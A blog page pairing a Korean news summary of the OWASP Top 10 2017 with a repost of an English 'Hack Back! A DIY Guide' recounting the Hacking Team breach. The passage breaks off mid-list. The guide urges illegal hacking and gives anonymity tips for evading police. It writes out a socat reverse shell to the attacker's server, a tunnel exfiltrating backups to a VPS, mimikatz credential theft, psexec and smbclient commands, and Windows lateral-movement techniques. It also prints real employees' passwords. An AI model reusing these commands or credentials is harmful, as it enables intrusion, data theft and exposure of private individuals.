OWASP Top 10 – 2017년 발표

 IT, 정보보호  Comments Off on OWASP Top 10 – 2017년 발표
Apr 242017
 

http://www.boannews.com/media/view.asp?idx=54393 

OWASP Top 10 – 2017…4년마다 한 번씩 보안위협 발표
올해 버전, 취약한 공격 방어와 취약한 API 추가

[보안뉴스 원병철 기자] 4년마다 한 번씩 취약점 Top 10을 발표하는 OWASP(The Open Web Application Security Project)가 지난 4월 초 ‘OWASP Top 10 – 2017’을 발표했다. 비영리재단인 OWASP는 어떠한 기업과도 제휴나 협약을 맺지 않고, 상업적인 목적이나 이윤 압박이 없기 때문에 애플리케이션 보안에 대해 공정하고 실질적이며, 효율적인 정보를 제공하고 있다.

OWASP Top10은 8개의 컨설팅 회사와 3개의 제품 공급업체를 포함해 애플리케이션 보안전문 업체의 11개 대형 데이터셋을 기반으로 작성된다. 이번 2017 버전은 지난 2013년 이후 처음으로 두 개의 항목이 신설됐다. 첫 번째는 취약한 공격 방어항목이며, 또 하나는 취약한 API 항목이다.

△ 인젝션
SQL, OS, XXE, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 쿼리문의 일부분이 인터프리터로 보내질 때 발생한다. 공격자의 악의적인 데이터는 예상하지 못하는 명령을 실행하거나, 적절한 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 인증 및 세션관리 취약점
인증 및 세션 관리와 관련된 애플리케이션 기능이 종종 잘못 구현되어 공격자에게 취약한 암호, 키 또는 세션 토큰을 제공해 다른 사용자의 권한을 (일시적으로 또는 영구적으로) 얻도록 익스플로잇한다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 크로스 사이트스크립팅(XSS)
XSS 취약점은 애플리케이션이 적절한 유효성 검사 또는 이스케이프처리 없이, 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나, JavaScript를 생성할 수 있는 브라우저 API를 사용해 사용자가 제공한 데이터로 기존 웹 페이지를 업데이트한다. XSS를 사용하면 공격자가 희생자의 브라우저에서 사용자 세션을 도용하거나, 웹사이트를 변조시키거나, 악성사이트로 리다이렉션 시킬 수 있다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 취약한 접근제어
취약한 접근제어는 인증된 사용자가 수행할 수 있는 작업에 대한 제한이 제대로 적용되지 않는 것을 의미한다. 공격자는 이러한 결함을 악용해 다른 사용자의 계정에 액세스하거나, 중요한 파일을 보고 다른 사용자의 데이터를 수정하거나, 접근 권한을 변경하는 등 권한 없는 기능 또는 데이터에 접근할 수 있다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 보안 설정 오류
바람직한 보안은 애플리케이션, 프레임워크, WAS, 웹 서버, DB 서버 및 플랫폼에 대해 보안 설정이 정의되고 적용되어 있다. 보안 기본 설정은 대부분 안전하지 않기 때문에 정의와 구현, 그리고 유지라는 3박자가 잘 이루어져야 한다. 또한, 소프트웨어는 최신 버전으로 관리해야 한다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 민감 데이터 노출
대부분의 웹 애플리케이션과 API는 금융정보, 건강정보, 개인식별정보와 같은 민감정보를 제대로 보호하지 못한다. 공격자는 신용카드사기, 신분도용 또는 다른 범죄를 수행하는 취약한 데이터를 훔치거나 변경할 수 있다. 브라우저에서 중요 데이터를 저장 또는 전송할 때 특별히 주의해야 하며, 암호화와 같은 보호조치를 취해야 한다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 공격 방어 취약점
대부분의 애플리케이션과 API에는 수동 공격과 자동 공격을 모두 탐지하거나 방지·대응할 수 있는 기본 기능이 없다. 공격 보호는 기본 입력 유효성 검사를 훨씬 뛰어넘으며, 자동 탐지, 로깅, 응답, 익스플로잇 시도 차단을 포함한다. 애플리케이션 소유자는 공격으로부터 보호하기 위해 패치를 신속하게 배포할 수 있어야 한다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 크로스 사이트 요청 변조(CSRF)
CSRF 공격은 로그인된 피해자의 취약한 웹 애플리케이션에 피해자의 세션 쿠키와 기타 인증정보를 포함해 위조된 HTTP 요청을 강제로 보내도록 한다. 예를 들어, 공격자가 취약한 어플리케이션이 피해자의 정당한 요청이라고 오해할 수 있는 요청들을 강제로 만들 수 있다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 알려진 취약점이 있는 컴포넌트 사용
컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈은 애플리케이션과 같은 권한으로 실행된다. 이런 취약한 컴포넌트를 악용해 공격하는 경우, 심각한 데이터 손실이 발생하거나 서버가 장악된다. 알려진 취약점이 있는 구성 요소를 사용하는 애플리케이션과 API는 어플리케이션을 약화시키고 다양한 공격과 영향을 줄 수 있다.

▲ 자료제공 : 블랙팔콘 이지혜

△ 취약한 API
최신 어플리케이션에는 일종의 API (SOAP / XML, REST / JSON, RPC, GWT 등)에 연결되는 브라우저 및 모바일 애플리케이션의 자바스크립트(JavaScript)와 같은 여러 클라이언트 애플리케이션 및 API가 포함되는 경우가 많다. 이러한 API는 대부분 보호되지 않으며 수많은 취약점을 포함한다.

▲ 자료제공 : 블랙팔콘 이지혜

OWASP 측은 이번 Top 10외에도 ‘OWASP Developer’s Guide’와 ‘OWASP Cheat Sheet Series’에서 수백 개의 웹 어플리케이션 위협요소를 다룬다며, 웹 애플리케이션 개발자라면 반드시 참고할 것을 권고했다. 또한, 보안 취약점은 아주 복합적이며 엄청난 코드 더미 사이에 숨어 있기 때문에 좋은 도구를 활용할 수 있는 보안전문가를 활용하라고 조언했다.

무엇보다 보안이 개발조직 전반에 걸쳐 필수적인 요소라고 인식하는 문화를 만드는 것이 중요하다고 OWASP는 강조했다.

한편, OWASP 한글 번역본은 블랙팔콘(Black Falcon) 이지혜 씨가 제공했으며. 전문은 블랙팔콘 블로그에서 받을 수 있다.

 Posted by at 8:47 AM

세상을 떠들썩하게 했던 해킹팀, 어떻게 해킹됐나?

 정보보호  Comments Off on 세상을 떠들썩하게 했던 해킹팀, 어떻게 해킹됐나?
Apr 272016
 

 

 

                _   _            _      ____             _    _ 
               | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
                                                 
                                  A DIY Guide



                                 ,-._,-._             
                              _,-\  o O_/;            
                             / ,  `     `|            
                             | \-.,___,  /   `        
                              \ `-.__/  /    ,.\      
                             / `-.__.-\`   ./   \'
                            / /|    ___\ ,/      `\
                           ( ( |.-"`   '/\         \  `
                            \ \/      ,,  |          \ _
                             \|     o/o   /           \.
                              \        , /             /
                              ( __`;-;'__`)            \\
                              `//'`   `||`              `\
                             _//       ||           __   _   _ _____   __
                     .-"-._,(__)     .(__).-""-.      | | | | |_   _| |
                    /          \    /           \     | | |_| | | |   |
                    \          /    \           /     | |  _  | | |   |
                     `'-------`      `--------'`    __| |_| |_| |_|   |__
                               #antisec



--[ 1 - Introduction ]----------------------------------------------------------

You'll notice the change in language since the last edition [1]. The
English-speaking world already has tons of books, talks, guides, and
info about hacking. In that world, there's plenty of hackers better than me,
but they misuse their talents working for "defense" contractors, for intelligence
agencies, to protect banks and corporations, and to defend the status quo.
Hacker culture was born in the US as a counterculture, but that origin only
remains in its aesthetics - the rest has been assimilated. At least they can
wear a t-shirt, dye their hair blue, use their hacker names, and feel like
rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2]. You used to need
a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
Like the CNT said after the Gamma Group hack: "Let's take a step forward with
new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf 
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group


--[ 2 - Hacking Team ]----------------------------------------------------------

Hacking Team was a company that helped governments hack and spy on
journalists, activists, political opposition, and other threats to their power
[1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
RCS". They also claimed to have technology to solve the "problem" posed by Tor
and the darknet [13]. But seeing as I'm still free, I have my doubts about
its effectiveness.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web


--[ 3 - Stay safe out there ]---------------------------------------------------

Unfortunately, our world is backwards. You get rich by doing bad things and go
to jail for doing good. Fortunately, thanks to the hard work of people like
the Tor project [1], you can avoid going to jail by taking a few simple
precautions:

1) Encrypt your hard disk [2]

   I guess when the police arrive to seize your computer, it means you've
   already made a lot of mistakes, but it's better to be safe.

2) Use a virtual machine with all traffic routed through Tor

   This accomplishes two things. First, all your traffic is anonymized through
   Tor. Second, keeping your personal life and your hacking on separate
   computers helps you not to mix them by accident.

   You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
   something custom [6]. Here's [7] a detailed comparison.

3) (Optional) Don't connect directly to Tor
   
   Tor isn't a panacea. They can correlate the times you're connected to Tor
   with the times your hacker handle is active. Also, there have been
   successful attacks against Tor [8]. You can connect to Tor using other
   peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
   cracking wifi. Another option is to connect to a VPN or a bridge node [10]
   before Tor, but that's less secure because they can still correlate the
   hacker's activity with your house's internet activity (this was used as
   evidence against Jeremy Hammond [11]).

   The reality is that while Tor isn't perfect, it works quite well. When I
   was young and reckless, I did plenty of stuff without any protection (I'm
   referring to hacking) apart from Tor, that the police tried their hardest
   to investigate, and I've never had any problems.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html


----[ 3.1 - Infrastructure ]----------------------------------------------------

I don't hack directly from Tor exit nodes. They're on blacklists, they're
slow, and they can't receive connect-backs. Tor protects my anonymity while I
connect to the infrastructure I use to hack, which consists of:

1) Domain Names

   For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

   For use as C&C servers, to receive connect-back shells, to launch attacks,
   and to store the loot.

3) Hacked Servers

   For use as pivots to hide the IP addresses of the stable servers. And for
   when I want a fast connection without pivoting, for example to scan ports,
   scan the whole internet, download a database with sqli, etc.

Obviously, you have to use an anonymous payment method, like bitcoin (if it's
used carefully).


----[ 3.2 - Attribution ]-------------------------------------------------------

In the news we often see attacks traced back to government-backed hacking
groups ("APTs"), because they repeatedly use the same tools, leave the same
footprints, and even use the same infrastructure (domains, emails, etc).
They're negligent because they can hack without legal consequences.

I didn't want to make the police's work any easier by relating my hack of
Hacking Team with other hacks I've done or with names I use in my day-to-day
work as a blackhat hacker. So, I used new servers and domain names, registered
with new emails, and payed for with new bitcoin addresses. Also, I only used
tools that are publicly available, or things that I wrote specifically for
this attack, and I changed my way of doing some things to not leave my usual
forensic footprint.


--[ 4 - Information Gathering ]-------------------------------------------------

Although it can be tedious, this stage is very important, since the larger the
attack surface, the easier it is to find a hole somewhere in it.


----[ 4.1 - Technical Information ]---------------------------------------------

Some tools and techniques are:

1) Google

   A lot of interesting things can be found with a few well-chosen search
   queries. For example, the identity of DPR [1]. The bible of Google hacking
   is the book "Google Hacking for Penetration Testers". You can find a short
   summary in Spanish at [2].

2) Subdomain Enumeration

   Often, a company's main website is hosted by a third party, and you'll find
   the company's actual IP range thanks to subdomains like mx.company.com or
   ns1.company.com. Also, sometimes there are things that shouldn't be exposed
   in "hidden" subdomains. Useful tools for discovering domains and subdomains
   are fierce [3], theHarvester [4], and recon-ng [5].

3) Whois lookups and reverse lookups

   With a reverse lookup using the whois information from a domain or IP range
   of a company, you can find other domains and IP ranges. As far as I know,
   there's no free way to do reverse lookups aside from a google "hack":
   
   "via della moscova 13" site:www.findip-address.com
   "via della moscova 13" site:domaintools.com

4) Port scanning and fingerprinting

   Unlike the other techniques, this talks to the company's servers. I
   include it in this section because it's not an attack, it's just
   information gathering. The company's IDS might generate an alert, but you
   don't have to worry since the whole internet is being scanned constantly.

   For scanning, nmap [6] is precise, and can fingerprint the majority of
   services discovered. For companies with very large IP ranges, zmap [7] or
   masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
   sites.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/


----[ 4.2 - Social Information ]------------------------------------------------

For social engineering, it's useful to have information about the employees,
their roles, contact information, operating system, browser, plugins,
software, etc. Some resources are:

1) Google

   Here as well, it's the most useful tool.

2) theHarvester and recon-ng

   I already mentioned them in the previous section, but they have a lot more
   functionality. They can find a lot of information quickly and
   automatically. It's worth reading all their documentation.

3) LinkedIn

   A lot of information about the employees can be found here. The company's
   recruiters are the most likely to accept your connection requests.

4) Data.com

   Previously known as jigsaw. They have contact information for many
   employees.

5) File Metadata

   A lot of information about employees and their systems can be found in
   metadata of files the company has published. Useful tools for finding
   files on the company's website and extracting the metadata are metagoofil
   [1] and FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html


--[ 5 - Entering the network ]--------------------------------------------------

There are various ways to get a foothold. Since the method I used against
Hacking Team is uncommon and a lot more work than is usually necessary, I'll
talk a little about the two most common ways, which I recommend trying first.


----[ 5.1 - Social Engineering ]------------------------------------------------

Social engineering, specifically spear phishing, is responsible for the
majority of hacks these days. For an introduction in Spanish, see [1]. For
more information in English, see [2] (the third part, "Targeted Attacks"). For
fun stories about the social engineering exploits of past generations, see
[3]. I didn't want to try to spear phish Hacking Team, as their whole business
is helping governments spear phish their opponents, so they'd be much more
likely to recognize and investigate a spear phishing attempt.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf


----[ 5.2 - Buying Access ]-----------------------------------------------------

Thanks to hardworking Russians and their exploit kits, traffic sellers, and
bot herders, many companies already have compromised computers in their
networks. Almost all of the Fortune 500, with their huge networks, have some
bots already inside. However, Hacking Team is a very small company, and most
of it's employees are infosec experts, so there was a low chance that they'd
already been compromised.


----[ 5.3 - Technical Exploitation ]--------------------------------------------

After the Gamma Group hack, I described a process for searching for
vulnerabilities [1]. Hacking Team had one public IP range:
inetnum:        93.62.139.32 - 93.62.139.47
descr:          HT public subnet

Hacking Team had very little exposed to the internet. For example, unlike
Gamma Group, their customer support site needed a client certificate to
connect. What they had was their main website (a Joomla blog in which Joomscan
[2] didn't find anything serious), a mail server, a couple routers, two VPN
appliances, and a spam filtering appliance. So, I had three options: look for
a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
embedded devices. A 0day in an embedded device seemed like the easiest option,
and after two weeks of work reverse engineering, I got a remote root exploit.
Since the vulnerabilities still haven't been patched, I won't give more
details, but for more information on finding these kinds of vulnerabilities,
see [3] and [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A


--[ 6 - Be Prepared ]-----------------------------------------------------------

I did a lot of work and testing before using the exploit against Hacking Team.
I wrote a backdoored firmware, and compiled various post-exploitation tools
for the embedded device. The backdoor serves to protect the exploit. Using the
exploit just once and then returning through the backdoor makes it harder to
identify and patch the vulnerabilities.

The post-exploitation tools that I'd prepared were:

1) busybox

   For all the standard Unix utilities that the system didn't have.

2) nmap

   To scan and fingerprint Hacking Team's internal network.

3) Responder.py

   The most useful tool for attacking windows networks when you have access to
   the internal network, but no domain user.

4) Python

   To execute Responder.py

5) tcpdump

   For sniffing traffic.

6) dsniff

   For sniffing passwords from plaintext protocols like ftp, and for
   arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
   and NaGA, but it was hard to compile it for the system.

7) socat

   For a comfortable shell with a pty:
   my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
   hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
		  tcp:my_server:my_port

   And useful for a lot more, it's a networking swiss army knife. See the
   examples section of its documentation.

8) screen

   Like the shell with pty, it wasn't really necessary, but I wanted to feel
   at home in Hacking Team's network.

9) a SOCKS proxy server

   To use with proxychains to be able to access their local network from any
   program.

10) tgcd

   For forwarding ports, like for the SOCKS server, through the firewall.

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/


The worst thing that could happen would be for my backdoor or post-exploitation
tools to make the system unstable and cause an employee to investigate. So I
spent a week testing my exploit, backdoor, and post-exploitation tools in the
networks of other vulnerable companies before entering Hacking Team's network.


--[ 7 - Watch and Listen ]------------------------------------------------------

Now inside their internal network, I wanted to take a look around and think
about my next step. I started Responder.py in analysis mode (-A to listen
without sending poisoned responses), and did a slow scan with nmap.


--[ 8 - NoSQL Databases ]-------------------------------------------------------

NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
community [1]. Just when I was worried that they'd finally patched all of the
authentication bypass bugs in MySQL [2][3][4][5], new databases came into
style that lack authentication by design. Nmap found a few in Hacking Team's
internal network:

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5

They were the databases for test instances of RCS. The audio that RCS records
is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
from this. They were spying on themselves without meaning to.

[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/


--[ 9 - Crossed Cables ]--------------------------------------------------------

Although it was fun to listen to recordings and see webcam images of Hacking
Team developing their malware, it wasn't very useful. Their insecure backups
were the vulnerability that opened their doors. According to their
documentation [1], their iSCSI devices were supposed to be on a separate
network, but nmap found a few in their subnetwork 192.168.1.200/24:

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required

iSCSI needs a kernel module, and it would've been difficult to compile it for
the embedded system. I forwarded the port so that I could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1

The way I solved it was:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

And now, after:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login

...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange server seemed like
the most interesting. It was too big too download, but it was possible to
mount it remotely to look for interesting files:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

...and finally we've unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf


--[ 10 - From backups to domain admin ]-----------------------------------------

What interested me most in the backup was seeing if it had a password or hash
that could be used to access the live server. I used pwdump, cachedump, and
lsadump [1] on the registry hives. lsadump found the password to the besadmin
service account:

_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........

I used proxychains [2] with the socks server on the embedded device and
smbclient [3] to check the password:
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

It worked! The password for besadmin was still valid, and a local admin. I
used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
got a bunch of passwords, including the Domain Admin:

HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- lol great sysadmin
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz


--[ 11 - Downloading the mail ]-------------------------------------------------

With the Domain Admin password, I have access to the email, the heart of the
company. Since with each step I take there's a chance of being detected, I
start downloading their email before continuing to explore. Powershell makes
it easy [1]. Curiously, I found a bug with Powershell's date handling. After
downloading the emails, it took me another couple weeks to get access to the
source code and everything else, so I returned every now and then to download
the new emails. The server was Italian, with dates in the format
day/month/year. I used:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}

with New-MailboxExportRequest to download the new emails (in this case all
mail since June 5). The problem is it says the date is invalid if you
try a day larger than 12 (I imagine because in the US the month comes first
and you can't have a month above 12). It seems like Microsoft's engineers only
test their software with their own locale.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/


--[ 12 - Downloading Files ]----------------------------------------------------

Now that I'd gotten Domain Admin, I started to download file shares using my
proxy and the -Tc option of smbclient, for example:

proxychains smbclient '//192.168.1.230/FAE DiskStation' \
    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
the torrent like that.


--[ 13 - Introduction to hacking windows domains ]------------------------------

Before continuing with the story of the "weones culiaos" (Hacking Team), I
should give some general knowledge for hacking windows networks.


----[ 13.1 - Lateral Movement ]-------------------------------------------------

I'll give a brief review of the different techniques for spreading withing a
windows network. The techniques for remote execution require the password or
hash of a local admin on the target. By far, the most common way of obtaining
those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
and sekurlsa::msv, on the computers where you already have admin access. The
techniques for "in place" movement also require administrative privileges
(except for runas). The most important tools for privilege escalation are
PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1


Remote Movement:

1) psexec

   The tried and true method for lateral movement on windows. You can use
   psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
   invoke_psexec [4], or the builtin windows command "sc" [5]. For the
   metasploit module, powershell empire, and pth-winexe [6], you just need the
   hash, not the password. It's the most universal method (it works on any
   windows computer with port 445 open), but it's also the least stealthy.
   Event type 7045 "Service Control Manager" will appear in the event logs. In
   my experience, no one has ever noticed during a hack, but it helps the
   investigators piece together what the hacker did afterwards.

2) WMI

   The most stealthy method. The WMI service is enabled on all windows
   computers, but except for servers, the firewall blocks it by default. You
   can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and
   pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
   wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

   It's disabled by default, and I don't recommend enabling new protocols.
   But, if the sysadmin has already enabled it, it's very convenient,
   especially if you use powershell for everything (and you should use
   powershell for almost everything, it will change [11] with powershell 5 and
   windows 10, but for now powershell makes it easy to do everything in RAM,
   avoid AV, and leave a small footprint)

4) Scheduled Tasks

   You can execute remote programs with at and schtasks [5]. It works in the
   same situations where you could use psexec, and it also leaves a well known
   footprint [12].

5) GPO

   If all those protocols are disabled or blocked by the firewall, once you're
   Domain Admin, you can use GPO to give users a login script, install an msi,
   execute a scheduled task [13], or, like we'll see with the computer of
   Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
   open the firewall.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py


"In place" Movement:

1) Token Stealing

   Once you have admin access on a computer, you can use the tokens of the
   other users to access resources in the domain. Two tools for doing this are
   incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

   You can take advantage of a validation bug in Kerberos to generate Domain
